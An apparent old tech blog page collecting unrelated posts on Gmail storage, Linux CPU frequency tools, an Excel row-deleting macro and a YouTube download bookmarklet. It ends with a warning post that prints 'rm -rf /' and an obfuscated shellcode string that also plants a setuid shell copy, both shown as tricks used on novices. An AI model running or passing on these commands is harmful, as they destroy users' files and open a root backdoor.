Google has really changed the game for webmail since they launched Gmail five years ago. Now free Gmail is offering over 7GB. But if this is not enough for you, you can upgrade to 20GB for merely 5 bucks a year.

Here is the list of plans.

Excited? Where to purchase? Here you go! (link) Just to remind you that if you do upgrade, not only you can use that extra space in Gmail, also in Picasa Web Albums.

If you are control freak, perhaps you might want to take control of your CPU depending on your need. Firstly, you should be able to check what is the current speed of your CPU. Here is the command.

cat /proc/cpuinfo | grep -i Mhz

You will see your CPU speed in Mhz. To take control of your CPU speed, you need to install cpufreq utility.

sudo apt-get install cpufrequtils

There are four modes come with the utility. They are as follow:

  • ondemand

CPU frequency is scaled based on load.

  • conservative

The CPUfreq governor "conservative", much like the "ondemand" governor, sets the CPU depending on the current usage. It differs in behaviour in that it gracefully increases and decreases the CPU speed rather than jumping to max speed the moment there is any load on the CPU. This behaviour more suitable in a battery powered environment.

  • performance

CPU only runs at max frequency regardless of load.

  • powersave

CPU only runs at min frequency regardless of load.

Depending on your need, you can set cpu freq as you desire. For example: to change to ondemand mode, type this command

cpufreq-set -g ondemand

In case if you have more than one CPU, you need to repeat the command with option c. You can check how many CPU you have by typing

ls /sys/devices/system/cpu/

To set the cpufreq for second cpu, you need to use option c as follow:

cpufreq-set -c 1 -g ondemand

I hope this will be helpful. Any question? Leave a comment as usual.

Have you ever looking for option to delete every odd or even rows in Excel? Looking through menu after menu, hoping there’s some option hidden somewhere?

Well, the bad news is that there’s no built-in function as of Excel 2007. You need to use some marco to do just that.

Here’s the procedure. This procedure applies to all Excel versions from 97 to 2007, however I’ll provide screenshot using Excel 2007.

 

  • Open your Excel file.

sample sheet

  • In Excel 2007, Go to Developer tab, click Visual Basic. (All other Excel versions, go to Tools menu -> Marco –> Visual Basic Editor)

excel 2007 developer tab

 

  • Then in Visual Basic window, Insert Menu –> Module

vb insert menu 

  • After that copy and paste the following code into the module window.
Sub Delete_Every_Other_Row()

   ' Dimension variables.
   Y = False              ' Change this to True if you want to
                          ' delete rows 1, 3, 5, and so on.
   I = 1
   Set xRng = Selection

   ' Loop once for every row in the selection.
   For xCounter = 1 To xRng.Rows.Count

       ' If Y is True, then...
       If Y = True Then

           ' ...delete an entire row of cells.
           xRng.Cells(I).EntireRow.Delete

       ' Otherwise...
       Else

           ' ...increment I by one so we can cycle through range.
           I = I + 1

       End If

       ' If Y is True, make it False; if Y is False, make it True.
       Y = Not Y

   Next xCounter

End Sub
  • Go back to your excel workbook,  Select the Cells that you want for alternative rows to delete. Note : It is important to select the cells, if you select the whole column, Excel will most likely hang when you run Macro.

select cell

 

  • After that, click Marcos under Developer tab in Excel 2007. (All other excel versions, Tools menu –> Marcos ) You should see the dialog box as follow. Click on Run.

Bravo! That’s it! Hopefully Excel 2010 will have built-in function for this.

I know this is old news. Anyway for those of you who don’t know it yet, as Google is the coolest company on the planet, they now let you watch some/most of Youtube video in mp4 high definition format. Furthermore, you can even download those youtube HD video to your local computer with a simple tweak. It’s really easy. Here is how.

  • Copy the following code.

javascript:window.location.href = ‘http://youtube.com/get_video?video_id=’ + swfArgs['video_id'] + “&fmt=22″ + “&l=” + swfArgs['l'] + “&sk=” + swfArgs['sk'] + ‘&t=’ + swfArgs['t'];

  • Then Right Click on the bookmark bar, select New Bookmark.
  • Paste the above code in Location field, type the Name as anything you like (For me “Download Youtube HD”). Click Add.

bookmark

  • Then go to the youtube hd movie you want to download.
  • Click Download Youtube HD button on your bookmark bar. You should get the following dialog box.

download youtube hd

That’s it!! Save that video.mp4 file in your preferred location and rename the file to anything you like.

Still don’t get it? Perhaps the following video tutorial might be able to help you.

The Dark side of Linux

Yep, Ubuntu 9.04 is out and making buzz as usual. Most of the new Linux users are excited about “No more virus, yeah?”. Well, it’s quite true. Linux is more secure and have got very low security risk. But beware! Linux has got its own dark side as command line could do anything.

If you ever ask for help in some forums or chat rooms, some of the users could have tricked you to enter the commands that will harm your computers and lose your precious files permanently.

The most dangerous command for novice users is

rm -rf /

This command will forcefully delete all the files inside the root and all sub directories.

Another one, this one could even fool experienced linux users.

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

What the heck is that you may ask. Well it’s the equivalent of rm –rf / in hex version.

So how can you avoid the disaster? My advice would be always do man or google the commands the strangers give you before you execute.
